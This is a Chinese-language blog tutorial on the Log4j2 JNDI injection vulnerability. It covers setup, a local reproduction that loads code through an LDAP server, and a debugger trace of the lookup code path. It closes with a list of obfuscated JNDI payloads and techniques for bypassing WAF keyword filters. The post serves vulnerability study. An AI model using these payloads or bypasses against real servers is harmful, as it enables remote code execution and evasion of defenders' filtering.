Java安全-log4j漏洞

Java安全- log4j漏洞

Log4j2 基础

理解

先看一下log4j是什么,是用来做什么的

Log4j是一个Java日志组件,通过日志记录器接口,为程序提供了灵活的配置选项,可以将不同级别的消息输出到不同的目的地,如控制台,文件,数据库等。Log4j可以帮助开发人员更好地调试应用程序,同时也方便了运维人员对应用程序进行监控和故障排查

环境

  • jdk8u65

网上有很多说 jdk8u191 之后就不行了,其实不是的;高版本 jdk 是有绕过手段的

  • Log4j2 2.14.1
  • CC 3.2.1 (最好是)

Demo 实现

  • 开发的话,其实也不难,因为作为组件的话,如果要实现组件功能的话实现配置即可。

log4j 和 log4j2 都是日志管理工具,相比于 log4j,log4j2 一步步变得越来越主流,现在市场很很多的项目都是 slf4j + log4j2

  • 首先要实现 Log4j2 的组件应用,先是 Pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<dependency>  
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.14.1</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.12</version>
<scope>test</scope>
</dependency>

这里,我们简单用 xml 的方式来实现,文件如下

这个文件名要设置成log4j2.xml,Log4j2默认会查找log4j2.xml配置文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8"?>  

<configuration status="info">
<Properties>
<Property name="pattern1">[%-5p] %d %c - %m%n</Property>
<Property name="pattern2">
=========================================%n 日志级别:%p%n 日志时间:%d%n 所属类名:%c%n 所属线程:%t%n 日志信息:%m%n
</Property>
<Property name="filePath">logs/myLog.log</Property>
</Properties>
<appenders> <Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="${pattern1}"/>
</Console> <RollingFile name="RollingFile" fileName="${filePath}"
filePattern="logs/$${date:yyyy-MM}/app-%d{MM-dd-yyyy}-%i.log.gz">
<PatternLayout pattern="${pattern2}"/>
<SizeBasedTriggeringPolicy size="5 MB"/>
</RollingFile>
</appenders>
<loggers>
<root level="info">
<appender-ref ref="Console"/>
<appender-ref ref="RollingFile"/>
</root>
</loggers>
</configuration>

然后写一个 demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class Log4j2Test01 {
public static void main( String[] args )
{
Logger logger = LogManager.getLogger(LongFunction.class);
logger.trace("trace level");
logger.debug("debug level");
logger.info("info level");
logger.warn("warn level");
logger.error("error level");
logger.fatal("fatal level");
}
}

实际开发场景

刚刚在开头时看到log4j作为日志组件,是可以从数据库中获取信息并输出的

在实际利用时,Log4j一般可以结合数据库进行使用

比如从数据库获取到了一个 username ,要把它登录进来的信息打印到日志里面,这个路径一般有一个 /logs 的文件夹的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import org.apache.logging.log4j.LogManager;  
import org.apache.logging.log4j.Logger;

import java.util.function.LongFunction;

public class RealEnv {
public static void main(String[] args) {
Logger logger = LogManager.getLogger(LongFunction.class);

String username = "Username";
if (username != null) {
logger.info("User {} login in!", username);
}
else {
logger.error("User {} not exists", username);
}
}
}

Log4j2 漏洞成因

影响版本

  • 2.x <= log4j <= 2.15.0-rc1

漏洞原理

可以看到在 logger.info("User {} login in!", username); 的这个地方,实际上 – username 这个参数是可控的。我输入 username 确实是用户可控的。

那么这里,我们尝试输入一下其他的呢?

我们将 username 修改为 String username = "${java:os}";,再跑一下看看

发现这里实际上是可以实现rce的

原因是Log4j提供了Lookups的能力,简单来说就是变量替换的能力

查看官方文件,可以看到log4j组件提供了lookup的功能:Log4j – Log4j 2 查找 - Apache 日志服务

  • 问题出在基于jndi的lookup,我们早在之前说过直接调用 lookup() 是会存在漏洞的

在Log4j将要输出的日志拼接成字符串之后,它会去判断字符串中是否包含${},如果包含了,就会当作变量交给org.apache.logging.log4j.core.lookup.StrSubstitutor这个类去处理,根据前缀调用不同的解析器,其中JNDI解析器就为本次漏洞源头

Log4j2 漏洞复现与分析

漏洞复现

导入依赖

1
2
3
4
5
6
7
8
9
10
11
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.14.1</version>
</dependency>

<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

依旧利用yakit起一个ldap服务器,这个log4j的漏洞主要是利用jndi注入去打的

执行以下代码,生成该类的logger类,调用logger的error方法,payload放入,即可实现JNDI

1
2
3
4
5
6
7
8
9
public class log4jTest {

private static final Logger LOGGER = LogManager.getLogger(log4jTest.class);

public static void main(String[] args) {
String s = "${jndi:ldap://127.0.0.1:8085/pxIEPObG}";
LOGGER.error("{}",s);
}
}

运行一下顺利弹出计算器

调试分析

下个断点在 PatternLayout 这个类下的 toSerializable() 方法

往下走,先是一个循环,遍历 formatters 一段一段的拼接输出的内容,不是很重要

两个传进去进行处理的变量,一个是 event,也就是我们 log4j2 需要来进行日志打印的内容;另外一个 buffer,我们会把打印出来的东西写进 buffer

(可以看到经历第一次循环写入了ERROR到buffer)

跟进 format() 方法,这个 format() 方法可以把它当作是处理字符串的一个方法,具体如何处理是根据具体情况重写的

因为这是一个循环来遍历 formatters 的,中间会做很多数据处理的工作,这都不重要,但是有一个地方特别重要,在 i = 7 的时候进入到了另外的一个 format 处理方法,如图

可以看到进入的方法类名是MessagePatternConverter.class,format方法会调用.getMessage方法,这里就会处理我们传入的东西

对msg处理之后会判断是否是 Log4j2 的 lookups 功能,这里我们是 lookups 功能,所以可以继续往下走

会遍历 workingBuilder 来进行判断;如果 workingBuilder 中存在 ${ ,那么就会取出从 $ 开始知道最后的字符串,上图的 value 就是我们输入的 payload

感觉遍历这部分不是很重要,我们直接跟进replace方法,replace() 方法里面调用了 substitute() 方法

继续跟进 substitute() 方法

进入到这个方法的while循环里,这个循环中的一系列操作就是会把${}里的东西取出来,赋给varName

之后将 varName 作为变量传入了 resolveVariable 函数

跟进到 resolveVariable 函数中,发现这个方法就是用来寻找对应解析器的

resolver会根据前缀的不同,调用不同类的lookup方法

这里我们看到 resolveVariable() 方法里面是调用了 lookup() 方法,这个 lookup() 方法也就是 jndi 里面原生的方法,在我们让 jndi 去调用 ldap 服务的时候,是调用原生的 lookup() 方法的,是存在漏洞的

其中value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);这行代码会调用JndiLookup的lookup方法,从而造成JNDI注入

小结调试

  1. 先判断内容中是否有${},然后截取${}中的内容,得到我们的恶意payload jndi:xxx
  2. 后使用:分割payload,通过前缀来判断使用何种解析器去lookup
  3. 支持的前缀包括 date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,后续我们的绕过可能会用到这些

针对 WAF 的常规绕过

  • 出发点是基于很多 WAF 检测是否存在 jndi: 等关键词进行判断,下面我们讲一讲绕过手法。

根据官方文档中的描述,如果参数未定义,那么 :- 后面的就是默认值,通俗的来说就是默认值

img

利用分隔符和多个 ${} 绕过

  • 例如这个 payload
1
logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

通过 lower 和 upper 绕过

这一点,因为我们之前说允许的字段是这一些
date, java, marker, ctx, lower, upper, jndi, main, jvmrunargs, sys, env, log4j,其中就有 lower 和 upper

同时也可以利用 lower 和 upper 来进行 bypass 关键字

1
2
3
logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");
....

同时也可以利用一些特殊字符的大小写转化的问题

ı => upper => i (Java 中测试可行)

ſ => upper => S (Java 中测试可行)

İ => upper => i (Java 中测试不可行)

K => upper => k (Java 中测试不可行)

1
2
logg.error("${jnd${upper:ı}:ldap://127.0.0.1:1389/Calc}");
...

由于这玩意儿测试过程中随便插都行,现在数据传输很多都是 json 形式,所以在 json 中我们也可以进行尝试

像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

1
2
{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

总结一些 payload

  • 原始payload
1
"${jndi:ldap://127.0.0.1:1234/ExportObject}";

对应的绕过手段

1
2
3
4
5
6
7
8
9
${${a:-j}ndi:ldap://127.0.0.1:1234/ExportObject};

${${a:-j}n${::-d}i:ldap://127.0.0.1:1234/ExportObject}";

${${lower:jn}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}di:ldap://127.0.0.1:1234/ExportObject}";

${${lower:${upper:jn}}${::-di}:ldap://127.0.0.1:1234/ExportObject}";

Java安全-log4j漏洞
http://huang-d1.github.io/2025/10/11/Java安全- log4j漏洞/
作者
huangdi
发布于
2025年10月11日
许可协议